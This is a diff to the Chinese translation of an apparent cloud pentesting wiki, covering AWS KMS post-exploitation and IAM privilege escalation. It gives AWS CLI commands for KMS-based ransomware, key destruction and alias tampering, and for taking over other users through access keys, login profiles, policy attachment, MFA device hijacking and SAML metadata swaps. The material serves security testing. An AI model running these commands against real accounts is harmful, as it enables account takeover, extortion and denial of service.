diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
index 9369ccd8a..9a356bf8b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
@@ -4,23 +4,23 @@
 
 ## KMS
 
-更多信息请查看：
+有关更多信息请查看：
 
 {{#ref}}
 ../../aws-services/aws-kms-enum.md
 {{#endref}}
 
-### 加密/解密 信息
+### Encrypt/Decrypt information
 
 `fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
 
-- `fileb://:` 以二进制模式读取文件，常用于非文本文件。
-- `file://:` 以文本模式读取文件，通常用于纯文本文件、脚本或不需要特殊编码的 JSON。
+- `fileb://:` 以二进制模式读取文件，通常用于非文本文件。
+- `file://:` 以文本模式读取文件，通常用于普通文本文件、脚本或没有特殊编码要求的 JSON。
 
 > [!TIP]
-> 注意：如果你想解密文件中的某些数据，文件必须包含二进制数据，而不是 base64 编码的数据。(fileb://)
+> 注意，如果你想在文件中对某些数据进行 decrypt，文件必须包含二进制数据，而不是 base64 编码的数据。 (fileb://)
 
-- 使用 **对称** 密钥
+- Using a **symmetric** key
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
 ```
 ### KMS Ransomware
 
-具有 KMS 特权访问的攻击者可以修改密钥的 KMS policy 并 **将这些密钥的访问权限授予他的账户**，从而移除合法账户被授予的访问权限。
+拥有对 KMS 的特权访问的攻击者可以修改密钥的 KMS 策略并且**将这些密钥的访问授权给他的账户**，从而移除授予合法账户的访问权限。
 
-然后，合法账户的用户将无法访问任何使用这些密钥加密的服务的信息，从而在该账户上制造一个简单但有效的 ransomware。
+然后，合法账户的用户将无法访问任何使用这些密钥加密的服务的任何信息，从而对该账户造成一种简单但有效的勒索攻击。
 
 > [!WARNING]
-> 请注意，**AWS managed keys aren't affected**，此攻击仅影响 **Customer managed keys**。
->
-> 另外请注意需要使用参数 **`--bypass-policy-lockout-safety-check`**（Web 控制台缺少此选项，使得该攻击只能通过 CLI 执行）。
+> 注意：**AWS managed keys aren't affected** by this attack，只有 **Customer managed keys**。
+
+> 另外请注意需要使用参数 **`--bypass-policy-lockout-safety-check`**（web 控制台缺少此选项，因此此攻击只能通过 CLI 执行）。
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 }
 ```
 > [!CAUTION]
-> 注意，如果你更改该策略并仅给予一个外部账户访问权限，然后从该外部账户尝试设置一个新策略以**将访问权限还给原始账户，你将无法做到，因为 Put Polocy action 无法从跨账户执行**。
+> 请注意，如果你更改了该策略并且只授予一个外部账户访问权限，然后再从该外部账户尝试设置一个新策略以 **将访问权限还给原始账户，你将无法执行，因为 Put Polocy action cannot be performed from a cross account**。
 
 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
 
 ### 通用 KMS Ransomware
 
-还有另一种执行全局 KMS Ransomware 的方法，步骤如下：
+还有另一种执行全局 KMS Ransomware 的方法，包括以下步骤：
 
 - 创建一个新的 **key with a key material**，其密钥材料由攻击者导入
-- **Re-encrypt older data**：将受害者使用旧版本加密的旧数据用新密钥重新加密
+- **Re-encrypt older data**，将受害者使用先前版本加密的旧数据使用新的密钥重新加密
 - **Delete the KMS key**
-- 现在只有拥有原始 key material 的攻击者能够解密这些加密数据
+- 现在只有拥有原始密钥材料的攻击者能够解密这些加密数据
 
-### Delete Keys via kms:DeleteImportedKeyMaterial
+### 通过 kms:DeleteImportedKeyMaterial 删除密钥
 
-拥有 `kms:DeleteImportedKeyMaterial` 权限的主体可以从具有 `Origin=EXTERNAL` 的 CMKs 中删除导入的密钥材料（CMKs that have imperted their key material），使其无法解密数据。此操作具有破坏性且不可逆，除非重新导入兼容的材料，否则攻击者可以通过使加密信息永久不可访问来有效造成类似 ransomware 的数据丢失。
+具有 `kms:DeleteImportedKeyMaterial` 权限的行为者，可以从具有 `Origin=EXTERNAL` 的 CMKs（已导入密钥材料的 CMKs）中删除导入的密钥材料，从而使其无法解密数据。该操作具有破坏性且不可逆，除非重新导入兼容的材料，否则攻击者可以通过使加密信息永久不可访问，来有效造成 ransomware-like 的数据丢失。
 ```bash
 aws kms delete-imported-key-material --key-id <Key_ID>
 ```
 ### 销毁密钥
 
-销毁密钥可能导致 DoS。
+通过销毁密钥可以实施 DoS。
 ```bash
 # Schedule the destoy of a key (min wait time is 7 days)
 aws kms schedule-key-deletion \
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> 注意 AWS 现在**阻止从跨账户执行先前的操作：**
+> 请注意 AWS 现在 **阻止从跨账户执行先前的操作：**
 
-### 更改或删除 Alias
-此攻击会删除或重定向 AWS KMS aliases，破坏密钥解析并导致依赖这些 aliases 的服务立即失败，从而引发 denial-of-service。拥有 `kms:DeleteAlias` 或 `kms:UpdateAlias` 等权限的攻击者可以移除或重新指向 aliases，干扰加密操作（例如 encrypt、describe）。任何引用 alias 而非 key ID 的服务都可能失败，直到 alias 恢复或正确重新映射为止。
+### Change or delete Alias
+此攻击会删除或重定向 AWS KMS aliases，破坏密钥解析，并使任何依赖这些 aliases 的服务立即失败，从而导致 denial-of-service。拥有 `kms:DeleteAlias` 或 `kms:UpdateAlias` 等权限的攻击者可以移除或重新指向 aliases，从而中断 cryptographic operations（例如 encrypt、describe）。任何引用 alias 而不是 key ID 的服务都可能失败，直到 alias 恢复或被正确重新映射。
 ```bash
 # Delete Alias
 aws kms delete-alias --alias-name alias/<key_alias>
@@ -134,8 +134,8 @@ aws kms update-alias \
 --alias-name alias/<key_alias> \
 --target-key-id <new_target_key>
 ```
-### Cancel Key Deletion
-拥有诸如 `kms:CancelKeyDeletion` 和 `kms:EnableKey` 之类的权限，攻击者可以取消对 AWS KMS customer master key 的计划删除并随后重新启用它。这样会恢复该密钥（最初处于 Disabled 状态），并恢复其解密先前受保护数据的能力，从而实现 exfiltration。
+### 取消密钥删除
+具有类似 `kms:CancelKeyDeletion` 和 `kms:EnableKey` 的权限时，攻击者可以取消对 AWS KMS customer master key 的计划删除并随后重新启用它。这样可以恢复该密钥（最初处于 Disabled 状态），并恢复其解密先前受保护数据的能力，从而允许数据外传。
 ```bash
 # Firts cancel de deletion
 aws kms cancel-key-deletion \
@@ -146,21 +146,21 @@ aws kms enable-key \
 --key-id <Key_ID>
 ```
 ### 禁用密钥
-具有 `kms:DisableKey` 权限的主体可以禁用 AWS KMS 客户主密钥 (CMK)，阻止其用于加密或解密。 这会破坏任何依赖该 CMK 的服务的访问，并可能导致立即中断或拒绝服务，直到密钥被重新启用。
+具有 `kms:DisableKey` 权限的主体可以禁用一个 AWS KMS 客户主密钥 (CMK)，阻止其被用于加密或解密。这会中断依赖该 CMK 的任何服务的访问，并可能造成立即的中断或 denial-of-service，直到密钥被重新启用。
 ```bash
 aws kms disable-key \
 --key-id <key_id>
 ```
 ### 派生共享密钥
-具有 `kms:DeriveSharedSecret` 权限的主体可以使用 KMS 持有的私钥加上用户提供的公钥来计算 ECDH 共享密钥。
+拥有 `kms:DeriveSharedSecret` 权限的行为者可以使用 KMS 持有的私钥和用户提供的公钥来计算 ECDH 共享密钥。
 ```bash
 aws kms derive-shared-secret \
 --key-id <key_id> \
 --public-key fileb:///<route_to_public_key> \
 --key-agreement-algorithm <algorithm>
 ```
-### 通过 kms:Sign 实现冒充
-拥有 `kms:Sign` 权限时，攻击者可以使用 KMS 存储的 CMK 对数据进行加密签名而无需暴露私钥，从而生成有效的签名，这些签名可以用于冒充或授权恶意操作。
+### 通过 `kms:Sign` 进行冒充
+拥有 `kms:Sign` 权限的行为者可以使用存储在 KMS 的 CMK 对数据进行加密签名而无需暴露私钥，从而生成可用于冒充或授权恶意操作的有效签名。
 ```bash
 aws kms sign \
 --key-id <key-id> \
@@ -169,7 +169,7 @@ aws kms sign \
 --message-type RAW
 ```
 ### DoS with Custom Key Stores
-具有类似 `kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore` 或 `kms:UpdateCustomKeyStore` 的权限时，攻击者可以修改、断开或删除 AWS KMS Custom Key Store (CKS)，使其主密钥无法使用。这会破坏依赖这些密钥的任何服务的加密、解密和签名操作，并可能导致立即的 denial-of-service。因此，对这些权限进行限制和监控至关重要。
+拥有 `kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore` 或 `kms:UpdateCustomKeyStore` 等权限的主体，可以修改、断开或删除 AWS KMS Custom Key Store (CKS)，使其主密钥无法使用。这会破坏任何依赖这些密钥的服务的加密、解密和签名操作，可能导致立即的 denial-of-service。因此，限制并监控这些权限至关重要。
 ```bash
 aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 69bb52096..32fd33f66 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
 
 ## IAM
 
-有关 IAM 的更多信息，请参阅:
+关于 IAM 的更多信息请参见：
 
 {{#ref}}
 ../../aws-services/aws-iam-enum.md
@@ -12,38 +12,57 @@
 
 ### **`iam:CreatePolicyVersion`**
 
-授予创建新的 IAM 策略版本的能力，通过使用 `--set-as-default` 标志绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这允许定义自定义权限。
+授予创建新的 IAM 策略版本的能力，通过使用 `--set-as-default` 标志可以绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这使得能够定义自定义权限。
 
-**利用命令：**
+**Exploit Command:**
 ```bash
 aws iam create-policy-version --policy-arn <target_policy_arn> \
 --policy-document file:///path/to/administrator/policy.json --set-as-default
 ```
-**Impact:** 直接通过允许对任何资源执行任意操作来提升权限。
+**影响:** 直接通过允许对任何资源执行任何操作来提升权限。
 
 ### **`iam:SetDefaultPolicyVersion`**
 
-允许将 IAM 策略的默认版本更改为另一个已存在的版本；如果新版本具有更多权限，可能会提升权限。
+允许将 IAM 策略的默认版本更改为另一个已存在的版本；如果新版本拥有更多权限，可能会导致权限提升。
 
 **Bash Command:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**影响：** 间接 privilege escalation，通过授予更多权限。
+**影响：** 通过授予更多权限导致间接权限提升。
 
-### **`iam:CreateAccessKey`**
+### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
 
-允许为其他用户创建 access key ID 和 secret access key，可能导致 privilege escalation。
+允许为其他用户创建 access key ID 和 secret access key，从而可能导致权限提升。
 
 **利用：**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Impact:** 通过获取或假定另一个用户的扩展权限实现直接权限提升。
+**影响:** 通过假定另一个用户的扩展权限实现直接权限提升。
+
+请注意，一个用户最多只能创建 2 个访问密钥，因此如果该用户已经有 2 个访问密钥，你需要 `iam:DeleteAccessKey` 权限来删除其中一个，才能创建新的：
+```bash
+aws iam delete-access-key --uaccess-key-id <key_id>
+```
+### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
+
+如果你可以创建一个新的虚拟 MFA 设备并在另一个用户上启用它，你就可以为该用户实际注册你自己的 MFA，然后使用他们的凭证请求一个基于 MFA 的会话。
+
+**利用：**
+```bash
+# Create a virtual MFA device (this returns the serial and the base32 seed)
+aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
+
+# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
+aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
+--authentication-code1 <code1> --authentication-code2 <code2>
+```
+**Impact:** 通过接管用户的 MFA 注册来实现 Direct privilege escalation（然后使用其权限）。
 
 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
 
-允许创建或更新登录配置文件，包括为 AWS 控制台登录设置密码，从而导致直接权限提升。
+允许创建或更新 login profile，包括为 AWS 控制台登录设置密码，从而导致 direct privilege escalation。
 
 **Exploit for Creation:**
 ```bash
@@ -55,55 +74,55 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**影响:** 通过以 "any" 用户登录，实现直接的 privilege escalation。
+**影响：** 直接特权升级，通过以 "any" 用户登录。
 
 ### **`iam:UpdateAccessKey`**
 
-允许启用被禁用的 access key；如果 attacker 持有该被禁用的 access key，可能导致未授权访问。
+允许启用被禁用的 access key，如果攻击者拥有该被禁用的 access key，可能导致未经授权的访问。
 
-**Exploit:**
+**利用：**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-**影响：** 通过重新激活访问密钥直接进行权限提升。
+**影响：** 通过重新激活 access keys 直接实现 privilege escalation。
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
-允许为特定 AWS 服务（例如 CodeCommit、Amazon Keyspaces）生成或重置凭证，这些凭证将继承关联用户的权限。
+允许为特定 AWS 服务（例如 CodeCommit、Amazon Keyspaces）生成或重置凭证，从而继承关联用户的权限。
 
-**创建利用：**
+**Exploit for Creation:**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-**Exploit 用于重置：**
+**Exploit 用于 Reset:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**Impact:** 直接在用户的服务权限范围内提升权限。
+**影响：** 在用户的服务权限范围内直接进行权限提升。
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
-允许将策略附加到用户或组，从而通过继承所附策略的权限来直接提升权限。
+允许将策略附加到用户或组，从而通过继承附加策略的权限直接提升权限。
 
-**Exploit for User:**
+**针对用户的利用：**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
-**Exploit 用于组：**
+**Exploit 针对组：**
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**影响：** 直接获得策略授予的任何权限。
+**影响：** 直接 privilege escalation 到策略授予的任何内容。
 
 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
 
-允许将策略附加到角色、用户或组，从而通过授予额外权限实现直接提权。
+允许将策略附加或放置到角色、用户或组，从而通过授予额外权限实现直接 privilege escalation。
 
-**针对角色的利用：**
+**Exploit for Role:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-**Exploit 用于内联策略：**
+**针对 Inline Policies 的 Exploit:**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
 --policy-document "file:///path/to/policy.json"
@@ -114,7 +133,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-你可以使用类似下面的策略：
+你可以使用如下策略：
 ```json
 {
 "Version": "2012-10-17",
@@ -127,28 +146,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 ]
 }
 ```
-**影响：** 通过策略添加权限，直接进行权限提升。
+**影响：** 通过在策略中添加权限实现直接的 privilege escalation。
 
 ### **`iam:AddUserToGroup`**
 
-允许将自己添加到一个 IAM 组，从而通过继承该组的权限来提升权限。
+允许将自己添加到 IAM 组，通过继承该组的权限来进行 privilege escalation。
 
-**利用：**
+**Exploit:**
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-**影响：** 直接将权限提升到该组的权限级别。
+**影响：** 直接将权限提升至该组的权限级别。
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
-允许修改角色的 assume role policy 文档，从而使得可以假设该角色并获得其相关权限。
+允许修改角色的 assume role policy 文档，从而可假设该角色并获得其关联权限。
 
-**利用：**
+**利用方式：**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-如果策略如下所示，它赋予用户假定该角色的权限：
+当策略如下所示，授予用户 assume the role 的权限：
 ```json
 {
 "Version": "2012-10-17",
@@ -163,38 +182,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
 ]
 }
 ```
-**影响：** 通过假设任何角色的权限实现直接权限提升。
+**影响：** 通过假定任意角色的权限直接实现权限提升。
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-允许上传用于在 CodeCommit 上进行身份验证的 SSH 公钥，并停用 MFA 设备，从而可能导致间接权限提升。
+允许上传用于在 CodeCommit 上进行身份验证的 SSH 公钥，以及停用 MFA 设备，可能导致间接权限提升。
 
 **Exploit for SSH Key Upload:**
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
-**Exploit 用于停用 MFA：**
+**用于停用 MFA 的 Exploit：**
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**影响:** 间接提权，通过启用 CodeCommit 访问或禁用 MFA 保护实现。
+**影响：** 通过启用 CodeCommit 访问或禁用 MFA 保护来间接提升权限。
 
 ### **`iam:ResyncMFADevice`**
 
-允许重新同步 MFA 设备，可能通过操纵 MFA 保护导致间接提权。
+允许重新同步 MFA 设备，可能通过操控 MFA 保护导致间接权限提升。
 
-**Bash Command:**
+**Bash 命令：**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Impact:** 间接权限提升，通过添加或操纵 MFA 设备。
+**影响：** 通过添加或操纵 MFA devices 间接提权。
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-拥有这些权限，你可以**更改 SAML 连接的 XML 元数据**。然后，你可以滥用**SAML federation**，以**登录**任何**信任该连接的角色**。
+拥有这些权限，你可以**更改 SAML 连接的 XML 元数据**。然后，你可以滥用**SAML federation**来**登录**任何**信任它的 role**。
 
-注意，执行此操作后，**合法用户将无法登录**。不过，你可以获取 XML，把你自己的放上去，登录并将之前的配置改回去。
+注意这样做会导致**合法用户无法登录**。不过，你可以获取 XML，把自己的元数据放进去，登录，然后把之前的配置恢复回去。
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 > [!NOTE]
-> TODO: 一个能够生成 SAML 元数据并使用指定角色登录的工具
+> TODO: 一个能够生成 SAML metadata 并以指定 role 登录的工具
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-（不确定）如果攻击者拥有这些 **权限**，他可以添加一个新的 **Thumbprint**，从而能够登录所有信任该提供者的角色。
+(不确定) 如果攻击者拥有这些 **权限**，他可以添加一个新的 **Thumbprint**，从而能够登录所有信任该 provider 的角色。
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
 ```
 ### `iam:PutUserPermissionsBoundary`
 
-这个权限允许攻击者更新用户的 permissions boundary，可能通过允许他们执行通常被其现有权限限制的操作来提升其权限。
+此权限允许攻击者更新用户的权限边界，可能通过允许他们执行通常受现有权限限制的操作来提升其权限。
 ```bash
 aws iam put-user-permissions-boundary \
 --user-name <nombre_usuario> \
@@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
 ```
 ### `iam:PutRolePermissionsBoundary`
 
-拥有 iam:PutRolePermissionsBoundary 的主体可以在现有角色上设置权限边界。风险在于当拥有此权限的人更改角色的边界时：他们可能不当地限制操作（导致服务中断），或者如果附加了宽松的边界，可能会有效扩展该角色的能力并提升权限。
+拥有 `iam:PutRolePermissionsBoundary` 的主体可以在现有角色上设置权限边界。风险在于，当拥有此权限的人更改角色的边界时：他们可能不当地限制操作（导致服务中断），或者如果附加了一个宽松的边界，则会实际扩展该角色的能力并升级权限。
 ```bash
 aws iam put-role-permissions-boundary \
 --role-name <Role_Name> \